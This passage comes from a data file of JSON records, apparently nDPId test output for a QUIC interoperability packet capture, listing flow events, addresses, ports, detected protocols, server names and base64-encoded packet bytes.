JrMIuOI6usSTI66JX+7JfjdPq7itf0ZF7lYG6PNEEU+xPizRn2KxsuDnIqtilwE+LUxpsYFKfGcG5ezqqO6yKGneF+EwF1DUUwFWNzaP0yDVP0V7O256HNYYY9PS+2D1mPJ5Qh2m7ZEHCUVkRSNQ2ShIsxlvawRDyCp6kGwT\/WLvCLzHx+eyBaO007Tt\/wxiyopmu\/PGttRCmy1mbey1xkep6SVHg2hljMI2kKhPkHRByGHf4LjQ5nMnAXf0Tq9kl8M9jkU3GAPVgFzvq3cQiBPTdYAx\/xzWiHb6MZotlQJrKtj8r5btIK5VkYbo4NO\/HZLmSzj+v2qCIKxc1Kk9zuPTC3cbP50XiuLwGkNCPCfW+6OO5M9kmhEpBXsPSz70fHx0\/0D2eDDtF18PM3Frvb1Fy16GhVoNeVMEwWNkS3FwumWjt1NyRbw4LvKt\/Rmj6KQiUZvu7MbT1ndIcWoPm+a9vrINvQyHbJftHfdf2llfXEA9XL2i2KvpzX8iugx8h\/EwmNNUg0F+x1PWifXySR9l8Caxeyeh8E9jH293IxSPPA935LAymnnfgPtyfd1UPNS9YuR73IJfEhrnUAjx6P8XPDbcP+xgeY76YS+U3MH7XP1Q4EtbU2P0qKkUuklKbSr5dA\/KAEw+eLuqUjqAIZj+rndafIhO\/LsQfPYOW7bdEx4iMsGisRcOkkgcehuB399WIzJNDaiUudf5GjJuMlrlW6TLhJ\/g11dD2dIjh8WIkp4Qn0ZkpnSlcQsZ6BaomyP1UZMobw7Gb2Mj8fiVHGtut5pXwWsRBQRFeBEEDjwKjkFEFJa+NTqaiorO29xYtpR57ookqNhP\/dfrYv88CXL7XheZvTVIEYcH\/93v+Cx7XpZlqq9qM40K8mUb2GtWK8vMCP6sNaXS5hLGz84Ddirh9wD6+wfnjrttIpQkYIn\/n0QN2b1TKqZ4lV4cVP\/FewN5U4p+laZISTDvXTwJ40b2O71mGyXFIkSolo8eu55u2aHixwNCDhO56mWWHK4Sjf79khIgUIR39vcpUSQ6FVfGU5puW13EEw+81VUTMmbCdmBMwZ08nDTbGTXvAz8fOGdlwm11FF6ZM3uLiRXp1gGZjK30iogDlgUho8fiLM4+4Funma+wzaEJShb\/ISV4iTPJc+5A6A\/ef2opV+jxdSnTVcIVgMqB\/J2pk14MFTuYdq1mbrGXTX4\/KzcWcwz8+SNndOIz9Wc7K5XCuPKwn0ey2jndDMY01z6moJcN3uM0nJF8eHMcSe6+CbejSVpzM5ThvLdtFQ+ViAhGrDwX9+mUtbkulWDQiHIxtnNa+G+LGQ1ouuwgszH64VBoxich6WLV\/F59MlHS\/lRQ=="} +00733{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":30,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1603816434601,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"140.227.52.92","src_port":37784,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quic.examp1e.net","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00541{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":31,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1603816434602,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2a00:ac00:4000:400:2e0:4cff:fe68:199d","src_port":60983,"dst_port":4433,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02118{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":602877,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gCm9\/BNgRQCABCwcKydWupNP+R2kegH0qAKwAQAAEAALgTP\/+aBmd7jcRUQTYoyXJCgoKCggXpMPD7IbgFwAARL6WX\/ntaXcB2j6uyN\/eyiy9Z65LFFuHMHqjLQFwZXwPmrbwF1D9AvrfhiGZgRDKOtshDVcv\/5o63Mt5lp96z15M3u52GksY8IeFOYZFLzRLSypCHdSUAudS4QYS9yvJF11P6aEq9v5\/cYDKzMAnbW\/\/2YzVVKyxaNwCoqy+9J2FpElrzMoylxHY8jGmzsLZt+Cq4S6W5A\/yie2rgPdsV\/\/kadibCJuYe2QgLqw+NgOvs3ZCW318tssCX9NeufGXtdg+E7g9jwjM+K4Ord93OwDnRF2aTJmHo2tCEGjCWFEkbK0aHLxzz+KabEo0\/LETVbiLPpKC44rKQXGCZ7Lmqskpi4aWMEcEh2AyNzzT6UX+VTMz2bzdgqFYxEdMOkTF8mZvPnsAyl5GsftpRvrRDq4JM2HS2xjqKNf8\/rk9IDD2z1lCuhYklz6u8Xh8AV2CVmPjku7CduxRqf8iWhU3IZh\/tB0Zovqp1ibQbIYt4zrU3MxUs0Ann688P+rb7y+ZsnFu\/fk+h6xbT\/viYivE\/uJYhISmd0y\/Ibw7oVkhUvcwYGe6BlxHbu9DCl0q2k0qM2EbRuJ7WjnFFIsOxPhC8cKRdPoM0zznMb98kz5ysAdYKg+SkdeKd+4pa4gn+PgKnZ1v9QHbHVyu18amv\/ydgTDP9BOE5otsm9Ste64D+uoB3LV0jr7gSVBlTP43OHoBDZrEnIZWNb0IXAfnfRqK5U1mX9jYgyrjMmaabtaW5SNCjpVcHvLrXXfdvgnhoksaNA8gqrNxl8kTwyqsCW0T9SKJrw9GgmLUZOOEXkBCdtDC8Rwy2m5YGCQMlqBCp9fcD7R7OWZl9re2KtmbZcx5XuRoJK+Ee\/RcP8U39Qot\/kENeJ0xwBwp0WES98qMbpvwX+NXwrulmff5OZz7s0aOup6\/XRoJevNt6uaC\/AmTv08qFISr1ifH4eiMCq2kmxW2ahH9hEVWZR3Jxv9iJSCKrtvEkXwyQlIE2Ox6SYeipj2kQe7zZek+5dXGQsbScMIja5ekSaVy1D8rj1LjvpGiPeJY1UasRXnpVF59+PQLwsfANope5yQlCx+YVECOLk0\/GMBEoIlKIoZLqVJG\/C0u7wyX+2E6ZdHmRDFkH6mFBgjUTGXKtzBCjRac0BnMVz9YKLNQsd+\/rrsH5pxJ9YO0MuiSwIPs+xpIdo\/IEERboBN3aoJgydQ37ceY80ila+nQ3U9dSxR06jfC77UBEfVmdzlkuL\/DhQFWPNRfInKTTvG3yav2KKHl1x8TO6Ii\/6UZ\/zxT\/dSPlF2U3u1lI3XWOna6XPE0cHG4jVhbs8Y9WhQwEhQEXLQePEz9F2uVXMGjij63Ico7971IAKm6HyBzRv2Z2ImKjQZ0Rn1bzFvrV1KmJeslV3i9\/gn2wrszpq9ZZiQligWna9g2XDzA9fJDQnnBdg+QtaCieo2h4UjfZlagVCzJE5jJiKvMJjSG+vhOBRM\/pLtSq8qtMvvY3qHtTPn5\/9+fdA0SINWbW8xs11auU+NEYm5CyZ4WhnBvSSN8gec+a6gg9j80lhWWSEnL5q+wUaDeIovDUJ\/pMAff2X2gN+lfmO\/YkWJGLKHp\/WpzMbzWOkNBwTL8XEECXXPg9Q=="} +00782{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":31,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1603816434602,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2a00:ac00:4000:400:2e0:4cff:fe68:199d","src_port":60983,"dst_port":4433,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quant.eggert.org","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":32,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1603816434606,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"193.190.10.98","src_port":49658,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02112{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":606208,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAwbNAAEAR5fDAqAGAwb4KYsH6AbsE7KsqzQoKCgoIc5O0PcfI+J8AAETS5F5\/qillFB34ZBYonPftxqjX8kBkyIk23lkZ2qSswRv0KEUWFyy4088Os3ZnRrOQrOwaYeXZhHaUBeXrptUSJZkTrnEJcyoWV9p6dEfGmv7bCjVxnlCwVoAAaJG8GHsjcbwBPQJPZ6oZM5lf6cBUHAqYHNw6rDSUKD3xvkDAy0tLs96F9A7S0NsDa6ZvGzs91gfUUlnKUaJulVEVfMWbhAjpxgUG+FXt9Oo9sL+OPkMVV\/7Vt0yoW1XaITbIq8KI8LwQAzQXNX+v7kBeFwKwuJRDs2d2j85QUWSVVg6OehxN0oTkJ\/iEWaH7HwRGKNP3wBEMihP+3wB41yI1iprDNfCK26psAUg8WkevVXjHCw\/1R8rXTAqTx4QwA+k906j11b35dxI9YbrIjP9IU\/OcLYQFjdfqfddeEH8L8+SaTdDj+FCEgqbdUYwvn3ShJJ8oqSXEByw1fDw6a6R8YQY\/NcWHQmWlwZV\/s8V6pCK5XJBFoyooYlTtK5HT3AzggQdsGSXTc5vPgI9QOgVcbjbdWp2Amvc9V\/q1oTUYUqgUbgO29365V32Dune0xvsiGBLhkxW\/xB2VR3VD8bIGBOkyav0B7u323dLTivvutQgLSxIpoC002ajbvnwVNbm1ZcAbWyBNcs3+OXM\/vE9S84TFCziB6d7oYbaE4yI6WoMFbiyLE0HiXUYenUnbBg82zVNaZ30wtH7\/mEwwYXBlHw79PgUwLtAbNWwFraM3BZwEm3JyH67VIsyLo7T55Cx3r9oakgfDnsS6P4bT5c4dkQ6l8BLSFIYKSUtqpqBbExMHSrqaMXKXu8BL\/5ieVLJhNsi\/slQ9w5NDtQoTTbDkDU1uXliwiII\/d1kCgsYupKOqyL1yOQzPZKCInlHZsUbMdJ7y8bMnF2vGBX4GG5L01jtQDpBD38uCXLmnzO+9c3yuX3Qh5zcfT34vJRSeWP4va7S\/nOP4nZYATnqlIGSv\/xJzfLmDB79k6IefwfU2xRise5mIw2N37hs+9xRHmkwSbEY658tuxL8Xb1MtKxUQDPq8BcSvLe9eQOWinR94+9pJhj3IXfg8WmTW3\/5K+B\/rN2gnFxD27OZ+9NCOJP8NZ6N\/BTFtZSfdJJpZYHIN8TnZLxRlID54H\/GDdCUsJNUfhoKrsuqdCGDfNktOUx0MVrR62a0uRztIF8liJfUeO\/\/KAKR5QW14obLuVSayoUimbOEHLMJCVQc8\/yVQYizs3KLKMpIRLych5r0TNMP6kwhIq3oRLx1tuGXR5Ce8Ty5Ru0TOGnc5fQ50Lqs6GkZSf0wsPD2nX6txa8FkQa+B66L7AJOYLxiX+7eCvInUvChFc+0Sb+WrPE+4s+jAEcZnUDM2coA7EAkqHnQ9J+lIjWQPxMKhSjx58dKOyLuMftDrpApD9cIaKdSgopyq44a5UIqEi1D2XHwo6tGidN7YNyIAutBBxF5IsroY6pOfcfi2fwuYnSzbutfHvCf8YirR\/BAaLMu3aNHHB\/ZKPVZpI\/gucAgFFvFH\/M+\/qty4rxYviGGCAa3\/53kY+NHOxljIVMDVyWE9T\/sqE0XTooS\/SgQ38mqYWA+WDPfMqjhyITNqp6FmsU\/gt0JrpoezFzEe61zJNnCelVJXtRUHkhDcxRW2fFs7Rw=="} +00740{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":32,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1603816434606,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"193.190.10.98","src_port":49658,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quicker.edm.uhasselt.be","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":33,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1603816434606,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"131.159.24.198","src_port":41587,"dst_port":4433,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02105{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":606554,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUATrtAAEARiKTAqAGAg58YxqJzEVEE7I\/AwQoKCgoICpCmEqV\/5+UAAETSrUzMAXsH+lNXSQbnFrAyl7ceSEtrPkuYxRTLDdaFiiLmduk9Xs2lXgYzbsBek6Ac79LMu0h2S0VMLhMIoynub2oycJvB5K8wYKEeSkLlTvDrT+4\/PAaXju5wh72tiJmArJiM37yh+0ZsoHgCUSqF0WzYygVii9e2gqRAE3tVIHQjG+5jZMLcaJ2yFfHfBMxd\/O6jX\/qLUotOaY1vFKrUIY90\/U9Dbi4MsFuL6Z4A02fTqtuX4r21R2SazEf5RJES7hcKSmvCokMZmOKlyLilXCKYcenmZhN8UNa3xfFEIcmY5JwTnC3sMsOo\/rBS\/9H1GO4ZE3+cPgE5zkXgqeuWBcFKNYDy7D\/WFSz1wdWlgFLSW2hrnDFcjH74QFpHFNYSLfoZVnrmXaJWdYqR3\/GrunzyfQ5NLPD0xfrMvW+mfxDdvmFWlM5+TRdKLnFtqU5+MG9orjbkU4chKQtFPiEcFOtk8NTHDHAGDTwbYffqe87exnYOpkIf3ZSAN+Xc6uclNDmRl6vRFeIZ7wnFa\/vovEOpHWQnRJdHbza2NFUFRaTbJ66fHDPe80KPiiYdWaTjiZGLbnVxj5cnNPjgcS9riI0x\/vjDtGbui32zd2k19XAk8XSvXovnq\/N1aEblwY4nUP5VKVuQkxHivQFDAXb94K1J5M36udsQd6LdTQRFPp1uq8xtKCFuK6p8iHZhrHLCcSPXYOeddA4eGHDK9as2MSP81cihu\/T7DLy1YjlKcHYzDa3yx1xCoO5FKkG6fm9bswGYlU\/+baDbYfTkQsLCEaPlRnxA9WTERJJ+MSFDRHu\/PlPFJ7insUQmyVmaD3hw4umIBuOag4GPXKlW2orVcqPhx98PvrVSXrWoJ9fVfyaRdjVGS9oRlA6aO0YTRViOTKSEUuyp112T1TQFZCnuDnAkxVoRPmo9aTNWuTZ9TG1q3dK8ixFuLxOAzdvDCKb+Mw\/ATbe3lk+yLwq8IFMq6jKdrgufqcgEK\/DE45uK6DkeDtg2Nfk41dXE6E2W06tsmVdvKzE9ZnBhUhe2ejOTPCQOMOhKKxW1gu5IyfCpHbjJN2vfvhyPN0OnZybFzDxqcGmwjQ+YG+BTWqim17tKyUSWvtfljnxHMSsPqRy6Y6NfBCNp1aUpwRPLdmmujG8IVPEXIU\/kof9d0KApSsa1g5\/lxQVV6EBiKhgM1boWQ5RBl6ra1rwDg1yBBAJS3flCp5HcSZz1flGcqFaVEsVrUVz+AEXY9ruE1orPMbY+wl+lHasmZLW74cTNm+UINmjH3A+DsXhcmXvfEm5hNNThZ\/NnJpbpD4NH5H02TzCShSKgJ69RlVFghhhWba9V1v0pJT8dy2Wkw9Ko6Pt9n7LOTgLjbmfTwItWhZTZuppOfwln5Ay+ujYsECxELS1meSTPXMgPFm5ZqFNUQ4ewBWDBiyF0UuaCFEJLCwQMzr3L1MCmNTV6WeniY70fageRh2KTa3ox9TKmffiA5zTBLt8Z7BCR5or8UDQn5nVW9FpnezChyvtJGlUcukrf1\/2Yv6T6Ix+RUzOFNkHL\/DYqhcyt5IZvOgg9EpYeiSpp\/jf5smjFh0ytesmJY86N5x+rphh2jl\/Hh13FoM1EltzV1MqIusbwoLTLdDb5Z6FDqYBCG0rctA=="} +00739{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":33,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1603816434606,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"131.159.24.198","src_port":41587,"dst_port":4433,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"pandora.cm.in.tum.de","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00457{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":34,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1603816434609,"flow_last_seen":0,"flow_tot_l4_data_len":556,"flow_min_l4_data_len":556,"flow_max_l4_data_len":556,"flow_avg_l4_data_len":556,"midstream":0,"l3_proto":"ip4","src_ip":"51.158.105.98","dst_ip":"192.168.1.128","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +01149{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":609154,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"PKn0qB\/spJGxgjQ5CABFAAJA990AAC0BNLcznmliwKgBgAMKP5oAAAAARQAFAKEiQAAwEUWiwKgBgDOeaWLKrwG7BOynncIKCgoKCBGs9QKfvVcQAABE0lvluJrmL\/hMeUw3YRhBIJ\/7gLtKpaIz\/yfYSAz6s8M\/iZU1xT7UiPmoiPsMT3FCwMnulK4pxlFMwSTfXCJHpc614jjRRPQY0r4A52kRAqbpnpm4pGdhwJNk2VhjYh04QB+ATZnDkcsklWaxwa1n6YHU9l\/hwXdVfRMJRZaRjlnNVjFzYTJDWF1bqR3R+8VW0waOTiwhJbmwo0jy0HGIxrRni0iCPehpoLwTjyK71TyZayvNhxdtGvZzTbpHaeAT15y\/CNrfq29HSv4IbvE0UmtwPnAkf\/K1m2amootTqW7mZ0NRHFK3HiA6yyoxrFYKU9\/CqXLS00PyxBFYvXIH8JHdvMhif7EW2Q2vZzfwwkJPwkHVXd+ngfY6wGLILtNDXV2ivGtdy3XuvH2ccmQEKSFZ73Hx9iHdBl6qjfCYRhGp6e+IEQqSNu4vIjwJrHd1DI7AFuP5HVV3t0uwiRNlmNLYg\/\/iQ8SXBZOZZXE4JJ7SqpmG4T8bxGnZ3BCjiEFishkM4w78EsJooOt\/y+Ru+rpDXeXF0DEDfcvmU78O5MK3Ul65ZjzZQp5A08B7wuQCd5NseMaqkP4jaydGTyiWvmW0mmoH\/qDqrJMH+DDDY2TMH7n1pK4uNzfng27Vymwlz4bVFY+NOz3R05sw0AhIXP9mFCKSmts="} +00489{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":34,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1603816434609,"flow_last_seen":0,"flow_tot_l4_data_len":556,"flow_min_l4_data_len":556,"flow_max_l4_data_len":556,"flow_avg_l4_data_len":556,"midstream":0,"l3_proto":"ip4","src_ip":"51.158.105.98","dst_ip":"192.168.1.128","l4_proto":"icmp","ndpi": {"proto":"ICMP","breed":"Acceptable","category":"Network"}} +00472{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":622862,"pkt_caplen":89,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":89,"pkt_l4_len":35,"pkt":"PKn0qB\/spJGxgjQ5ht1gDsWjACMR8CoF0BgM6YEAzSri\/bO+xasgAQsHCsnVrqTT\/kdpHoB9EVGcCQAjCvHgAAAAAAAIawwAN\/DoMJL\/AAAd\/wAAHP8AABs="} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":36,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1603816434628,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"202.238.220.92","src_port":38933,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02100{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":628754,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAStBAAEARganAqAGAyu7cXJgVAbsE7FzZxgoKCgoISaS\/HP4FIE0AAETS8b\/jD+OLMZ5ZfmIPp7wLwtSW\/3e3V56tG1ccXR3vL4iMRvcTifVjxLwR1VEj5kxXicua4ELuOiBh14YJiINigpT2w+4dKhfV++T2HAdDXb9HRo8Wp5\/Q2I0xH7P0GEZjVSlxh\/KVM7Q8JSVkblMvtsmlTbMHoKyKgv5ZVuhR9rKzyWjc0bDTpihNkKGhI2W23K8YpCOo163pvnpUs8vCjpMKx6Y+XLOjz86VHxZ\/dSIUgwZkfU3hXvxraGDqsOM6nk2BsxRj6ED+eksutrG0VvP5Wbl\/nwohJ3snk4n+kCBY8+CDoT5Q6xIqcKNeqA91veY6WDNW65NdLK9tq0Kt6NyRCQ0iHC1fm8oqxzK49Xy9Yr2klZXjGA6Wb9UmYx6KSJdvg6i+UYQf+hP3vTAcVrvclwQjn1Ttts6+sIXx63DdYoKsDizIkqnYCVuj0roAtIdLG95OmHxjKHrmpsQyLltGhTZMsYJQRCx5M8PpL+vjXo6pu+GHq\/GNM20vpbcH4SfliMSbdeHv4qviRxdJ9R8w9OkBT6XZozO3wWdBmA6PqET53j\/ug0iSc1MIiO+\/q4LSySrTDiP2OBzfwZT7hTAaYz1DN1CxY6wbbPEjnyqCdpqZ1PaOkaWb8OYt7bm6J9VMzWbMZaVbajU0njanBfI51vKbom0V4qvMvcrqXEEunVPVtjgIskNplvDAftVJ2vZJjRMGUEv2c4SLniMT\/gRm2OeeaPXHe1brAnbRvP5KwVwSyHq8W08M66VBt+caimizIdJuqJqF1FGzRpHgQJNETaOqosq4CaLQrU1BEEg3UbRSYSWKj7OLTgEqG1JOZb\/nz1GI+TfOOMiy+107aqM+S\/i3Tju69xYk1X3WP1Ozrd6Wj6AC50FxHQQFSXlNPa5e\/vjVo4rFyU+uJE9u8JoYphh7MyJDB1VngH+kgiqxcBa2QBM5E51d4uR1hQLe+c6gd3MDh43gdsQryQiQifYdGhNRWZZaw2p8fRtUP4Uwyq\/B0bHFpZ4t6PuvIBU1+212nGGZUAL7j3HFR48RnO1qbO+GAhey5N9lWYMlU5tavGiXfOhlX6cAsUEQ2Q6TLV\/ZCB5CQG5QDTtdPH0QZSPPPDEVyy6HE2QB0rH4vjru2j5voDUPBjLlpBQ\/NL5R+mTgOnDFh7tGqQnBHhyDGFO\/50NeIGNTAc07+9N1IfFyQChGLc3grwS1SkOgfURlQLF+0ioikEL5irbMrmWTd851GONI9exui+8KOT8c959NcGrcyY1CIpxJc6JPQNgq4cGI4ljycOhrXFfcY+tJlEO3E0yGYN4gMAGSars7BkXFZLPWbZY+Sb4jXpDImxv+f95nzmTySeAQGcAaOitCLcJ318ljtkj4SzzBlngK7\/jHpA1EPvZ2SJKmWjryUfQf4JJVEzK0DHUTA6qLYV+785FtwR53Rvcfx8ZKasxHIdWmDmMQfSDcjCfFkiPKXadftOSR0e\/XsF34XRoyBUx5eKGVWThXeNxNkMdpKbVofP1BRG3kl02O63aebe4V6uZI5YzyQUh4Dl097fgC5KIZDSXh1zEWqkg2eojIxOsLE8glsZ++gAFLU+Q749QmZTjBy2vyjMlxdSRKWMC6H66lOKBGFFFOZV6nr8Cmiz6E4iT7yg=="} +00725{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":36,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1603816434628,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"202.238.220.92","src_port":38933,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"mew.org","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00541{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":37,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1603816434628,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2a00:ac00:4000:400:2e0:4cff:fe68:199d","src_port":52271,"dst_port":4434,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02101{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":628763,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gCIsNBNgRQCABCwcKydWupNP+R2kegH0qAKwAQAAEAALgTP\/+aBmdzC8RUgTYW27FCgoKCgiOjC+QJeVzXQAARL7JSt9fXYbHm89vAcaC3zVPl3CRJrP6TUqyl19zIq90T7T2NXCDcXHJobasDcuXuTxPvCCLEvFASvzCuAXXUk3HWjKo77c+LloXAI84Zwqo8KPwvyzsluIwpPaCQQSGiuEyjDniWlSc55j3zHtvxBYI+7qs\/+m2E9Qo9cHvaYLyJZyEsYiKOdymD9qvtzbmDAszHuIEjcfE2JjV4l3DJqKhapzLQbS9PctxujyF1VUI2ACV8ytLLBKZMFRXoJlO+bWzOXqbJSZ6o5mClNhR1vsaR6skwjkGqVgCBLklKilA+9\/6l4ZG3WIaUFiUoM7SgIxwWF8oyiKV7zmkaclu4f5\/3yzgGms+jvNfvtwGzb3Fgy2XF4aZ5O5HDcLbhvsSrvGKNU1KYKAXZ4nH8RB1\/jFqFn4mCqeFIiG